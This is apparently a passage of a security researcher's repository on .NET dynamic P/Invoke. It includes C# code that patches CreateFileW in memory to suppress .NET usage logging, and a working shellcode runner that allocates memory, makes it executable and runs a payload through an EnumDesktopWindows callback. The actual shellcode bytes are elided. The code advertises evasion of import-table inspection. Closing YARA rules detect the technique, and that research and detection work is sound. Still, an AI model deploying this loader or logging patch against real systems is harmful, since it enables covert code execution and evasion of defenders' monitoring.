flNewProtect, ref UInt32 lpflOldProtect) 93 | { 94 | Type[] paramTypes = { typeof(IntPtr), typeof(UIntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() }; 95 | Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; 96 | object res = DynamicPInvokeBuilder(typeof(bool), "Kernel32.dll", "VirtualProtect", args, paramTypes); 97 | return (bool)res; 98 | } 99 | 100 | public static IntPtr GetThreadDesktop(UInt32 dwThreadId) 101 | { 102 | Type[] paramTypes = { typeof(UInt32) }; 103 | Object[] args = { dwThreadId }; 104 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "user32.dll", "GetThreadDesktop", args, paramTypes); 105 | return (IntPtr)res; 106 | } 107 | 108 | public static UInt32 GetCurrentThreadId() 109 | { 110 | Type[] paramTypes = { }; 111 | Object[] args = { }; 112 | object res = DynamicPInvokeBuilder(typeof(UInt32), "Kernel32.dll", "GetCurrentThreadId", args, paramTypes); 113 | return (UInt32)res; 114 | } 115 | 116 | public static bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam) 117 | { 118 | Type[] paramTypes = { typeof(IntPtr), typeof(EnumDesktopWindowsDelegate), typeof(IntPtr) }; 119 | Object[] args = { hDesktop, lpfn, lParam }; 120 | object res = DynamicPInvokeBuilder(typeof(bool), "user32.dll", "EnumDesktopWindows", args, paramTypes); 121 | return (bool)res; 122 | } 123 | 124 | public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, int lParam); 125 | 126 | } 127 | } -------------------------------------------------------------------------------- /dynamic_pinvoke/DynamicPInvoke_DefineMethod_UsageLog_Patch.cs: -------------------------------------------------------------------------------- 1 | //Refs: 2 | //https://gist.github.com/nicholasmckinney/a1d63f3f5192b1d2dfbb4ba67b37c729 3 | //https://gist.github.com/TheWover/bf992fb765dc05c62e417eddc010e2ce 4 | //https://dotnetfiddle.net/10b8CQ 5 | //https://github.com/rootSySdk/PowerShellSample/blob/6dc0936ec2e2042c47cc22f57172401485de5739/PInvoke/MessageBoxManual.ps1 6 | //https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ 7 | 8 | using System; 9 | using System.Runtime.InteropServices; 10 | using System.Reflection; 11 | using System.Reflection.Emit; 12 | 13 | namespace DynamicUsageLogPatch 14 | { 15 | public class Program 16 | { 17 | public static void Main() 18 | { 19 | IntPtr kernel32 = LoadLibrary("KernelBase.dll"); 20 | 21 | IntPtr createFileW = GetProcAddress(kernel32, "CreateFileW"); 22 | 23 | UInt32 dwOld = 0; 24 | VirtualProtect(createFileW, (UInt32)0x1, 0x40, ref dwOld); 25 | 26 | byte[] patch = new byte[] { 0xC3 }; 27 | 28 | //Do before process exit 29 | Marshal.Copy(patch, 0, createFileW, patch.Length); 30 | 31 | VirtualProtect(createFileW, (UInt32)0x1, 0x20, ref dwOld); 32 | } 33 | 34 | public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) 35 | { 36 | AssemblyName assemblyName = new AssemblyName("zz"); 37 | var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 38 | var moduleBuilder = assemblyBuilder.DefineDynamicModule("zz", false); 39 | var typeBuilder = moduleBuilder.DefineType(library, TypeAttributes.Public | TypeAttributes.Class); 40 | 41 | var methodBuilder = typeBuilder.DefineMethod(method, 42 | MethodAttributes.Public | MethodAttributes.Static, 43 | type, 44 | paramTypes); 45 | 46 | ConstructorInfo dllImportConstructorInfo = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) }); 47 | 48 | FieldInfo[] dllImportFieldInfo = { typeof(DllImportAttribute).GetField("EntryPoint"), 49 | typeof(DllImportAttribute).GetField("PreserveSig"), 50 | typeof(DllImportAttribute).GetField("SetLastError"), 51 | typeof(DllImportAttribute).GetField("CallingConvention"), 52 | typeof(DllImportAttribute).GetField("CharSet") }; 53 | 54 | Object[] dllImportFieldValues = { method, 55 | true, 56 | true, 57 | CallingConvention.Winapi, 58 | CharSet.Ansi}; 59 | 60 | CustomAttributeBuilder customAttributeBuilder = new CustomAttributeBuilder(dllImportConstructorInfo, new Object[] { library }, dllImportFieldInfo, dllImportFieldValues); 61 | methodBuilder.SetCustomAttribute(customAttributeBuilder); 62 | 63 | Type myType = typeBuilder.CreateType(); 64 | object res = myType.InvokeMember(method, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, args); 65 | 66 | return res; 67 | } 68 | 69 | public static IntPtr LoadLibrary(String libName) 70 | { 71 | Type[] paramTypes = { typeof(String) }; 72 | Object[] args = { libName }; 73 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "LoadLibraryA", args, paramTypes); 74 | return (IntPtr)res; 75 | } 76 | 77 | public static IntPtr GetProcAddress(IntPtr hModule, String procName) 78 | { 79 | Type[] paramTypes = { typeof(IntPtr), typeof(String) }; 80 | Object[] args = { hModule, procName }; 81 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "GetProcAddress", args, paramTypes); 82 | return (IntPtr)res; 83 | } 84 | 85 | public static bool VirtualProtect(IntPtr hProcess, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect) 86 | { 87 | Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32).MakeByRefType() }; 88 | Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; 89 | object res = DynamicPInvokeBuilder(typeof(bool), "kernel32.dll", "VirtualProtect", args, paramTypes); 90 | return (bool)res; 91 | } 92 | } 93 | } -------------------------------------------------------------------------------- /dynamic_pinvoke/dynamic_pinvoke_definepinvokemethod_shellcode_runner.cs: -------------------------------------------------------------------------------- 1 | // Dynamic PInvoke: Leverages DefinePInvokeMethod() for Instrumentation 2 | // Features: ImplMap Table Evasion, RW/RX Memory Allocation/Manipulation, EnumDesktopWindows() callback for shellcode execution 3 | // Reference: https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ 4 | // Author: bohops 5 | 6 | using System; 7 | using System.Runtime.InteropServices; 8 | using System.Reflection; 9 | using System.Reflection.Emit; 10 | 11 | namespace ShellcodeLoader 12 | { 13 | class Program 14 | { 15 | static void Main(string[] args) 16 | { 17 | byte[] shellcode = { 0xe8, 0x80, ... }; 18 | 19 | IntPtr funcAddr = VirtualAlloc( 20 | IntPtr.Zero, 21 | (uint)shellcode.Length, 22 | 0x1000, 23 | 0x04); 24 | 25 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 26 | 27 | EnumDesktopWindowsDelegate dwDelegate = (EnumDesktopWindowsDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(EnumDesktopWindowsDelegate)); 28 | 29 | UInt32 threadID = GetCurrentThreadId(); 30 | IntPtr threadDesktop = GetThreadDesktop(threadID); 31 | 32 | UInt32 flOldProtect = 0; 33 | if (VirtualProtect(funcAddr, (UIntPtr)shellcode.Length, 0x20, ref flOldProtect)) 34 | { 35 | EnumDesktopWindows(threadDesktop, dwDelegate, IntPtr.Zero); 36 | } 37 | 38 | return; 39 | } 40 | 41 | public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) 42 | { 43 | AssemblyName assemblyName = new AssemblyName("zz"); 44 | AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 45 | ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("zz"); 46 | 47 | MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi); 48 | 49 | methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig); 50 | moduleBuilder.CreateGlobalFunctions(); 51 | 52 | MethodInfo dynamicMethod = moduleBuilder.GetMethod(method); 53 | object res = dynamicMethod.Invoke(null, args); 54 | return res; 55 | } 56 | 57 | public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect) 58 | { 59 | Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) }; 60 | Object[] args = { lpAddress, dwSize, flAllocationType, flProtect }; 61 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes); 62 | return (IntPtr)res; 63 | } 64 | 65 | public static bool VirtualProtect(IntPtr hProcess, UIntPtr dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect) 66 | { 67 | Type[] paramTypes = { typeof(IntPtr), typeof(UIntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() }; 68 | Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; 69 | object res = DynamicPInvokeBuilder(typeof(bool), "Kernel32.dll", "VirtualProtect", args, paramTypes); 70 | return (bool)res; 71 | } 72 | 73 | public static IntPtr GetThreadDesktop(UInt32 dwThreadId) 74 | { 75 | Type[] paramTypes = { typeof(UInt32) }; 76 | Object[] args = { dwThreadId }; 77 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "user32.dll", "GetThreadDesktop", args, paramTypes); 78 | return (IntPtr)res; 79 | } 80 | 81 | public static UInt32 GetCurrentThreadId() 82 | { 83 | Type[] paramTypes = { }; 84 | Object[] args = { }; 85 | object res = DynamicPInvokeBuilder(typeof(UInt32), "Kernel32.dll", "GetCurrentThreadId", args, paramTypes); 86 | return (UInt32)res; 87 | } 88 | 89 | public static bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam) 90 | { 91 | Type[] paramTypes = { typeof(IntPtr), typeof(EnumDesktopWindowsDelegate), typeof(IntPtr) }; 92 | Object[] args = { hDesktop, lpfn, lParam }; 93 | object res = DynamicPInvokeBuilder(typeof(bool), "user32.dll", "EnumDesktopWindows", args, paramTypes); 94 | return (bool)res; 95 | } 96 | 97 | public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, int lParam); 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /yara/dynamic_pinvoke_definemethod.yara: -------------------------------------------------------------------------------- 1 | rule Find_Dynamic_PInvoke_DefineMethod 2 | { 3 | 4 | meta: 5 | description = "Locate use of the DefineMethod typebuilder method and interesting strings in .NET binaries or managed code." 6 | 7 | strings: 8 | $a = "DefineMethod" 9 | $b = "VirtualProtect" 10 | 11 | condition: 12 | $a and $b 13 | } -------------------------------------------------------------------------------- /yara/dynamic_pinvoke_definepinvokemethod.yara: -------------------------------------------------------------------------------- 1 | rule Find_Dynamic_PInvoke_DefinePInvokeMethod 2 | { 3 | 4 | meta: 5 | description = "Locate use of the DefinePInvokeMethod typebuilder method in .NET binaries or managed code." 6 | 7 | strings: 8 | $method= "DefinePInvokeMethod" 9 | 10 | condition: 11 | $method 12 | } -------------------------------------------------------------------------------- /yara/locate_dynamic_dotnet_emitted_msil.yara: -------------------------------------------------------------------------------- 1 | rule Find_Dynamic_DotNet_Emitted_MSIL 2 | { 3 | meta: 4 | description = "Identify use of emitted MSIL instructions in .NET binaries or managed code." 5 | 6 | strings: 7 | $a= "GetILGenerator" 8 | $b = "Emit" 9 | $c = "OpCodes" 10 | 11 | condition: 12 | $a and $b and $c 13 | } --------------------------------------------------------------------------------